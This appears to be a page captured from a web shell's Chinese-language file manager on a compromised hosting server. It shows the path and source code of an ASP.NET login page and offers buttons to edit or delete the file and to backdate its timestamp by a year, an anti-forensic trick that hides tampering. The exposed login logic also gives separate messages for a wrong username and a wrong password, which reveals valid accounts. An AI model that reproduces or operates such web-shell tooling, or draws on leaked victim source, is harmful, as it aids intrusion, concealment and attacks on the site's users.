文件操作 - Login.aspx.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\guard.kimbly.in\wwwroot\Account\Login.aspx.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.Security; public partial class Account_Login : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void LoginButton_Click1(object sender, EventArgs e) { string un = UserName.Text; string ps = Password.Text; int i = General.Utilities.login_check(un, ps, "LoginCheck"); if (i == -1) { FailureText.Text = "wrong username"; } else if (i == -2) { FailureText.Text = "wrong password"; } else { FormsAuthentication.SetAuthCookie(un, false); Session["user"] = un; Response.Redirect("~/default.aspx"); } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件